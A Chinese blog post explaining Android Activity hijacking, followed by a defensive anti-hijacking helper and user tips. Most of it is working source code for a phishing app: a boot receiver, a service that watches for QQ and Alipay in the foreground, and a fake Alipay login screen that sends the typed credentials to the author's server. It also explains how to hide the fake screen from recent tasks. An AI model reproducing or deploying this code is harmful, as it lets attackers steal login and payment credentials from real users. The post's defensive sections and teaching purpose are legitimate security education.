activity劫持反劫持

1、Activity调度机制

android为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。 当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持 

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。 
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢? 
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

一个运行在后台的服务可以做到如下两点:1,决定哪一个activity运行在前台  2,运行自己app的activity到前台。

这样,恶意的开发者就可以对应程序进行攻击了,对于有登陆界面的应用程序,他们可以伪造一个一模一样的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的把用户信息上传到服务器了。这样是非常危险的。

实现原理:如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。


3、示例 
下面是示例代码。 
AndroidManifest.xml文件的代码。

[html] view plaincopy

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  3. package="com.sinaapp.msdxblog.android.activityhijacking"
  4. android:versionCode="1"
  5. android:versionName="1.0" >
  6. <uses-sdk android:minSdkVersion="4" />
  7. <uses-permission android:name="android.permission.INTERNET" />
  8. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  9. <application
  10. android:name=".HijackingApplication"
  11. android:icon="@drawable/icon"
  12. android:label="@string/app_name" >
  13. <activity
  14. android:name=".activity.HijackingActivity"
  15. android:theme="@style/transparent"
  16. android:label="@string/app_name" >
  17. <intent-filter>
  18. <action android:name="android.intent.action.MAIN" />
  19. <category android:name="android.intent.category.LAUNCHER" />
  20. </intent-filter>
  21. </activity>
  22. <activity android:name=".activity.sadstories.JokeActivity" />
  23. <activity android:name=".activity.sadstories.QQStoryActivity" />
  24. <activity android:name=".activity.sadstories.AlipayStoryActivity" />
  25. <receiver
  26. android:name=".receiver.HijackingReceiver"
  27. android:enabled="true"
  28. android:exported="true" >
  29. <intent-filter>
  30. <action android:name="android.intent.action.BOOT_COMPLETED" />
  31. </intent-filter>
  32. </receiver>
  33. <service android:name=".service.HijackingService" >
  34. </service>
  35. </application>
  36. </manifest>

在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。 

 

[javascript] view plaincopy

  1. package com.sinaapp.msdxblog.android.activityhijacking.activity;
  2. import android.app.Activity;
  3. import android.content.Intent;
  4. import android.os.Bundle;
  5. import android.util.Log;
  6. import com.sinaapp.msdxblog.android.activityhijacking.R;
  7. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
  8. public class HijackingActivity extends Activity {
  9. /** Called when the activity is first created. */
  10. @Override
  11. public void onCreate(Bundle savedInstanceState) {
  12. super.onCreate(savedInstanceState);
  13. setContentView(R.layout.main);
  14. Intent intent2 = new Intent(this, HijackingService.class);
  15. startService(intent2);
  16. Log.w("hijacking", "activity启动用来劫持的Service");
  17. }
  18. }

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。

[java] view plaincopy

  1. /*
  2. * @(#)HijackingBroadcast.java             Project:ActivityHijackingDemo
  3. * Date:2012-6-7
  4. *
  5. * Copyright (c) 2011 CFuture09, Institute of Software,
  6. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  7. * All rights reserved.
  8. *
  9. * Licensed under the Apache License, Version 2.0 (the "License");
  10. *  you may not use this file except in compliance with the License.
  11. * You may obtain a copy of the License at
  12. *
  13. *     http://www.apache.org/licenses/LICENSE-2.0
  14. *
  15. * Unless required by applicable law or agreed to in writing, software
  16. * distributed under the License is distributed on an "AS IS" BASIS,
  17. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. * See the License for the specific language governing permissions and
  19. * limitations under the License.
  20. */
  21. package com.sinaapp.msdxblog.android.activityhijacking.receiver;
  22. import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;
  23. import android.content.BroadcastReceiver;
  24. import android.content.Context;
  25. import android.content.Intent;
  26. import android.util.Log;
  27. /**
  28. * @author Geek_Soledad ([email protected])
  29. */
  30. public class HijackingReceiver extends BroadcastReceiver {
  31. @Override
  32. public void onReceive(Context context, Intent intent) {
  33. if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {
  34. Log.w("hijacking", "开机启动");
  35. Intent intent2 = new Intent(context, HijackingService.class);
  36. context.startService(intent2);
  37. Log.w("hijacking", "启动用来劫持的Service");
  38. }
  39. }
  40. }

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。 
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。 
代码如下:

[java] view plaincopy

  1. /*
  2. * @(#)HijackingService.java               Project:ActivityHijackingDemo
  3. * Date:2012-6-7
  4. *
  5. * Copyright (c) 2011 CFuture09, Institute of Software,
  6. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  7. * All rights reserved.
  8. *
  9. * Licensed under the Apache License, Version 2.0 (the "License");
  10. *  you may not use this file except in compliance with the License.
  11. * You may obtain a copy of the License at
  12. *
  13. *     http://www.apache.org/licenses/LICENSE-2.0
  14. *
  15. * Unless required by applicable law or agreed to in writing, software
  16. * distributed under the License is distributed on an "AS IS" BASIS,
  17. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. * See the License for the specific language governing permissions and
  19. * limitations under the License.
  20. */
  21. package com.sinaapp.msdxblog.android.activityhijacking.service;
  22. import java.util.HashMap;
  23. import java.util.List;
  24. import android.app.ActivityManager;
  25. import android.app.ActivityManager.RunningAppProcessInfo;
  26. import android.app.Service;
  27. import android.content.Context;
  28. import android.content.Intent;
  29. import android.os.Handler;
  30. import android.os.IBinder;
  31. import android.util.Log;
  32. import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
  33. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
  34. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
  35. import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;
  36. /**
  37. * @author Geek_Soledad ([email protected])
  38. */
  39. public class HijackingService extends Service {
  40. private boolean hasStart = false;
  41. // 这是一个悲伤的故事……
  42. HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();
  43. // Timer mTimer = new Timer();
  44. Handler handler = new Handler();
  45. Runnable mTask = new Runnable() {
  46. @Override
  47. public void run() {
  48. ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  49. List<RunningAppProcessInfo> appProcessInfos = activityManager
  50. .getRunningAppProcesses();
  51. // 枚举进程
  52. Log.w("hijacking", "正在枚举进程");
  53. for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
  54. // 如果APP在前台,那么——悲伤的故事就要来了
  55. if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
  56. if (mSadStories.containsKey(appProcessInfo.processName)) {
  57. // 进行劫持
  58. hijacking(appProcessInfo.processName);
  59. } else {
  60. Log.w("hijacking", appProcessInfo.processName);
  61. }
  62. }
  63. }
  64. handler.postDelayed(mTask, 1000);
  65. }
  66. /**
  67. * 进行劫持
  68. * @param processName
  69. */
  70. private void hijacking(String processName) {
  71. Log.w("hijacking", "有程序要悲剧了……");
  72. if (((HijackingApplication) getApplication())
  73. .hasProgressBeHijacked(processName) == false) {
  74. Log.w("hijacking", "悲剧正在发生");
  75. Intent jackingIsComing = new Intent(getBaseContext(),
  76. mSadStories.get(processName));
  77. jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  78. getApplication().startActivity(jackingIsComing);
  79. ((HijackingApplication) getApplication())
  80. .addProgressHijacked(processName);
  81. Log.w("hijacking", "已经劫持");
  82. }
  83. }
  84. };
  85. @Override
  86. public IBinder onBind(Intent intent) {
  87. return null;
  88. }
  89. @Override
  90. public void onStart(Intent intent, int startId) {
  91. super.onStart(intent, startId);
  92. if (!hasStart) {
  93. mSadStories.put("com.sinaapp.msdxblog.android.lol",
  94. JokeActivity.class);
  95. mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);
  96. mSadStories.put("com.eg.android.AlipayGphone",
  97. AlipayStoryActivity.class);
  98. handler.postDelayed(mTask, 1000);
  99. hasStart = true;
  100. }
  101. }
  102. @Override
  103. public boolean stopService(Intent name) {
  104. hasStart = false;
  105. Log.w("hijacking", "劫持服务停止");
  106. ((HijackingApplication) getApplication()).clearProgressHijacked();
  107. return super.stopService(name);
  108. }
  109. }

下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。

[java] view plaincopy

  1. /*
  2. * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo
  3. * Date:2012-6-7
  4. *
  5. * Copyright (c) 2011 CFuture09, Institute of Software,
  6. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  7. * All rights reserved.
  8. *
  9. * Licensed under the Apache License, Version 2.0 (the "License");
  10. *  you may not use this file except in compliance with the License.
  11. * You may obtain a copy of the License at
  12. *
  13. *     http://www.apache.org/licenses/LICENSE-2.0
  14. *
  15. * Unless required by applicable law or agreed to in writing, software
  16. * distributed under the License is distributed on an "AS IS" BASIS,
  17. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. * See the License for the specific language governing permissions and
  19. * limitations under the License.
  20. */
  21. package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;
  22. import android.app.Activity;
  23. import android.os.Bundle;
  24. import android.os.Handler;
  25. import android.os.HandlerThread;
  26. import android.text.Html;
  27. import android.view.View;
  28. import android.widget.Button;
  29. import android.widget.EditText;
  30. import android.widget.TextView;
  31. import com.sinaapp.msdxblog.android.activityhijacking.R;
  32. import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;
  33. /**
  34. * @author Geek_Soledad ([email protected])
  35. */
  36. public class AlipayStoryActivity extends Activity {
  37. private EditText name;
  38. private EditText password;
  39. private Button mBtAlipay;
  40. private Button mBtTaobao;
  41. private Button mBtRegister;
  42. private TextView mTvFindpswd;
  43. @Override
  44. protected void onCreate(Bundle savedInstanceState) {
  45. super.onCreate(savedInstanceState);
  46. this.setTheme(android.R.style.Theme_NoTitleBar);
  47. setContentView(R.layout.alipay);
  48. mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
  49. mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
  50. mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
  51. mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
  52. mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));
  53. mBtAlipay.setSelected(true);
  54. name = (EditText) findViewById(R.id.input_name);
  55. password = (EditText) findViewById(R.id.input_password);
  56. }
  57. public void onButtonClicked(View v) {
  58. switch (v.getId()) {
  59. case R.id.alipay_bt_login:
  60. HandlerThread handlerThread = new HandlerThread("send");
  61. handlerThread.start();
  62. new Handler(handlerThread.getLooper()).post(new Runnable() {
  63. @Override
  64. public void run() {
  65. // 发送获取到的用户密码
  66. SendUtil.sendInfo(name.getText().toString(), password
  67. .getText().toString(), "支付宝");
  68. }
  69. });
  70. moveTaskToBack(true);
  71. break;
  72. case R.id.alipay_bt_alipay:
  73. chooseToAlipay();
  74. break;
  75. case R.id.alipay_bt_taobao:
  76. chooseToTaobao();
  77. break;
  78. default:
  79. break;
  80. }
  81. }
  82. private void chooseToAlipay() {
  83. mBtAlipay.setSelected(true);
  84. mBtTaobao.setSelected(false);
  85. name.setHint(R.string.alipay_name_alipay_hint);
  86. mTvFindpswd.setVisibility(View.VISIBLE);
  87. mBtRegister.setVisibility(View.VISIBLE);
  88. }
  89. private void chooseToTaobao() {
  90. mBtAlipay.setSelected(false);
  91. mBtTaobao.setSelected(true);
  92. name.setHint(R.string.alipay_name_taobao_hint);
  93. mTvFindpswd.setVisibility(View.GONE);
  94. mBtRegister.setVisibility(View.GONE);
  95. }
  96. }

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。 
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。

演示文档和APK

4、用户防范 
android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务 对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。 
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

而且这种方法也不是绝对的  可以在AndroidManifest中相应activity下添加android:noHistory="true"这样就不会把伪装界面显示在最近任务中


5、反劫持

然而,如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序,当android:noHistory="true"时上面的方法也无效   因此,前几个星期花了一点时间写了一个程序,叫反劫持助手。原理很简单,就是获取当前运行的是哪一个程序,并且显示在一个浮动窗口中,以帮忙用户判断当前运行的是哪一个程序,防范一些钓鱼程序的欺骗。

在这一次,由于是“正当防卫”,就不再通过枚举来获取当前运行的程序了,在manifest文件中增加一个权限:

android权限

[html] view plaincopy

  1. <uses-permission android:name="android.permission.GET_TASKS" />

然后启动程序的时候,启动一个Service,在Service中启动一个浮动窗口,并周期性检测当前运行的是哪一个程序,然后显示在浮动窗口中。 
程序截图如下:

其中Service代码如下:

[java] view plaincopy

  1. /*
  2. * @(#)AntiService.java            Project:ActivityHijackingDemo
  3. * Date:2012-9-13
  4. *
  5. * Copyright (c) 2011 CFuture09, Institute of Software,
  6. * Guangdong Ocean University, Zhanjiang, GuangDong, China.
  7. * All rights reserved.
  8. *
  9. * Licensed under the Apache License, Version 2.0 (the "License");
  10. *  you may not use this file except in compliance with the License.
  11. * You may obtain a copy of the License at
  12. *
  13. *     http://www.apache.org/licenses/LICENSE-2.0
  14. *
  15. * Unless required by applicable law or agreed to in writing, software
  16. * distributed under the License is distributed on an "AS IS" BASIS,
  17. * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  18. * See the License for the specific language governing permissions and
  19. * limitations under the License.
  20. */
  21. package com.sinaapp.msdxblog.antihijacking.service;
  22. import android.app.ActivityManager;
  23. import android.app.Notification;
  24. import android.app.Service;
  25. import android.content.Context;
  26. import android.content.Intent;
  27. import android.content.pm.PackageManager;
  28. import android.content.pm.PackageManager.NameNotFoundException;
  29. import android.os.Bundle;
  30. import android.os.Handler;
  31. import android.os.IBinder;
  32. import android.os.Message;
  33. import android.util.Log;
  34. import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;
  35. import com.sinaapp.msdxblog.antihijacking.AntiConstants;
  36. import com.sinaapp.msdxblog.antihijacking.view.AntiView;
  37. /**
  38. * @author Geek_Soledad ([email protected])
  39. */
  40. public class AntiService extends Service {
  41. private boolean shouldLoop = false;
  42. private Handler handler;
  43. private ActivityManager am;
  44. private PackageManager pm;
  45. private Handler mainHandler;
  46. private AntiView mAntiView;
  47. private int circle = 2000;
  48. @Override
  49. public IBinder onBind(Intent intent) {
  50. return null;
  51. }
  52. @Override
  53. public void onStart(Intent intent, int startId) {
  54. super.onStart(intent, startId);
  55. startForeground(19901008, new Notification());
  56. if (intent != null) {
  57. circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);
  58. }
  59. Log.i("circle", circle + "ms");
  60. if (true == shouldLoop) {
  61. return;
  62. }
  63. mAntiView = new AntiView(this);
  64. mainHandler = new Handler() {
  65. public void handleMessage(Message msg) {
  66. String name = msg.getData().getString("name");
  67. mAntiView.setText(name);
  68. };
  69. };
  70. pm = getPackageManager();
  71. shouldLoop = true;
  72. am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
  73. handler = new Handler(
  74. HandlerFactory.getHandlerLooperInOtherThread("anti")) {
  75. @Override
  76. public void handleMessage(Message msg) {
  77. super.handleMessage(msg);
  78. String packageName = am.getRunningTasks(1).get(0).topActivity
  79. .getPackageName();
  80. try {
  81. String progressName = pm.getApplicationLabel(
  82. pm.getApplicationInfo(packageName,
  83. PackageManager.GET_META_DATA)).toString();
  84. updateText(progressName);
  85. } catch (NameNotFoundException e) {
  86. e.printStackTrace();
  87. }
  88. if (shouldLoop) {
  89. handler.sendEmptyMessageDelayed(0, circle);
  90. }
  91. }
  92. };
  93. handler.sendEmptyMessage(0);
  94. }
  95. private void updateText(String name) {
  96. Message message = new Message();
  97. Bundle data = new Bundle();
  98. data.putString("name", name);
  99. message.setData(data);
  100. mainHandler.sendMessage(message);
  101. }
  102. @Override
  103. public void onDestroy() {
  104. shouldLoop = false;
  105. mAntiView.remove();
  106. super.onDestroy();
  107. }
  108. }

浮动窗口仅为一个简单的textview,非此次的技术重点,在这里省略不讲。 
当然,从以上代码也可以看出本程序只能防范通过Activity作为钓鱼界面的程序,因为它是通过运行的顶层的Activity来获取程序名称的,对WooYun最近提到的另一个钓鱼方法它还是无能为力的,关于这一点将在下次谈。

activity劫持反劫持,布布扣,bubuko.com

时间: 2024-11-08 14:21:11

activity劫持反劫持的相关文章

你的应用是如何被替换的,App劫持病毒剖析

一.App劫持病毒介绍 App劫持是指执行流程被重定向,又可分为Activity劫持.安装劫持.流量劫持.函数执行劫持等.本文将对近期利用Acticity劫持和安装劫持的病毒进行分析. 二.Activity劫持病毒分析 2.1 Activity劫持病毒介绍 Activity劫持是指当启动某个窗口组件时,被恶意应用探知,若该窗口界面是恶意程序预设的攻击对象,恶意应用将启动自己仿冒的界面覆盖原界面,用户在毫无察觉的情况下输入登录信息,恶意程序在把获取的数据返回给服务端. 以MazarBOT间谍木马为

Activity组件安全(下)

什么是Activity劫持 简单的说就是APP正常的Activity界面被恶意攻击者替换上仿冒的恶意Activity界面进行攻击和非法用途.界面劫持攻击通常难被识别出来,其造成的后果不仅会给用户带来严重损失,更是移动应用开发者们的恶梦.举个例子来说,当用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用界面相同的Activity,覆盖掉了合法的Activity,用户几乎无法察觉,该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity

Android APP漏洞挖掘

0x00 1.组件公开安全漏洞 参考Android 组件安全. 2.Content Provider文件目录遍历漏洞 参考Content Provider文件目录遍历漏洞浅析. 3.AndroidManifest.xml中AllowBackup安全检测 参考两分钟窃取身边女神微博帐号?详解Android App AllowBackup配置带来的风险. 4.Intent劫持风险安全检测 参考Android组件通信过程风险. 5.数据存储安全检测 参考Android Database配置模式安全风险

Android研发安全2-Activity组件安全(下)

这篇文章是Android研发安全之Activity组件安全第二篇,本文将给大家分享Activity界面劫持方面的预防知识. 什么是Activity劫持 简单的说就是APP正常的Activity界面被恶意攻击者替换上仿冒的恶意Activity界面进行攻击和非法用途.界面劫持攻击通常难被识别出来,其造成的后果不仅会给用户带来严重损失,更是移动应用开发者们的恶梦.举个例子来说,当用户打开安卓手机上的某一应用,进入到登陆页面,这时,恶意软件侦测到用户的这一动作,立即弹出一个与该应用界面相同的Activi

手机银行App安全性整体堪忧、爱加密为移动支付App提供安全加密

随着移动支付的普及,手机银行客户端越来越被用户所认可,很多人觉得,既然是银行的客户端,应该是非常安全的.报告针对工商银行.建设银行.招商银行.交通银行.中国银行.农业银行等中国16家主流银行的安卓手机客户端展开一次最全面的安全性评测. 原标题:黑客瞄上手机银行 随着移动支付的普及,手机银行客户端越来越被用户所认可,很多人觉得,既然是银行的客户端,应该是非常安全的.然而,事实并非如此.据了解,少数手机银行客户端存在加密机制不完整.不校验服务器身份等安全隐患.不仅如此,我们一直认为最安全的"随机键盘

无线理论详备

无线测试和后台测试pk: 1,用户界面测试,用户体验 2,测试方面上,目前自动化的程度低 android测试挑战: android碎片化:机型.品牌厂商.分辨率 无线端测试类型: 冒烟测试:基本功能和性能确认 功能测试:1,用户角度.2.需求文档角度 用户界面测试:布局,美观等 性能测试:cpu.电量.流量.响应时间等(易测.摩天轮的性能测试)界面打开速度.操作流畅程度.通信时延的长短.流量电量消耗大小 兼容性或者适配测试:摩天轮 网络测试:摩天轮弱网络,fiddler模拟弱网络(无连接,有信号

App的安全问题

App的安全问题 根据网上所查的资料,罗列了一些App的安全问题,主要有以下几点: 1. 隐私数据 外部存储安全和内部存储安全 用户名.密码.聊天记录.配置信息等隐私信息是否被保存在本地,是否加密保存 使用数据前都判断信息是否被篡改 2. 权限攻击 检查App所在的目录,其权限必须为不允许其他组成员读写 检查系统权限是否受到攻击 3. 数据通信 软件与软件的通信安全,主要是意图不被其他程序截获 软件与网络服务器的通信安全,即检查敏感信息在网络传输中是否做了加密处理 防止暴力破解用户名.密码 4.

15 Android系统安全(简要)

Android的用户和第三方软件,Android组件和数据安全 手机root后的问题:1.系统不稳定,2.病毒入侵,3.数据泄露 Root原理: Root分两类:1.临时root,2.永久root Root后的问题:1.系统不稳定,2.易中毒,3.隐私泄露 Android权限检查机制:没有权限而执行特定操作的软件会抛出SecurityException异常 所有权限位于/frameworks/base/data/etc/platform.xml 权限分两类: 直接读写设备的底层(low-leve

安卓开发开发规范手册V1.0

安卓开发开发规范手册V1.0 之前发布过一份Web安全开发规范手册V1.0,看到收藏文章的读者挺多,发现整理这些文档还挺有意义. 最近周末抽了些时间把之前收集关于安卓安全开发的资料也整理了一下,整理出一份安卓安全开发手册,大部分内容都是在一些博客看到各位师傅的分享. 一.manifest文件安全 1.1 禁止PermissionGroup的属性为空 PermissionGroup可以对permission进行一个逻辑上的分组.如果PermissionGroup的属性为空,会导致权限定义无效,且其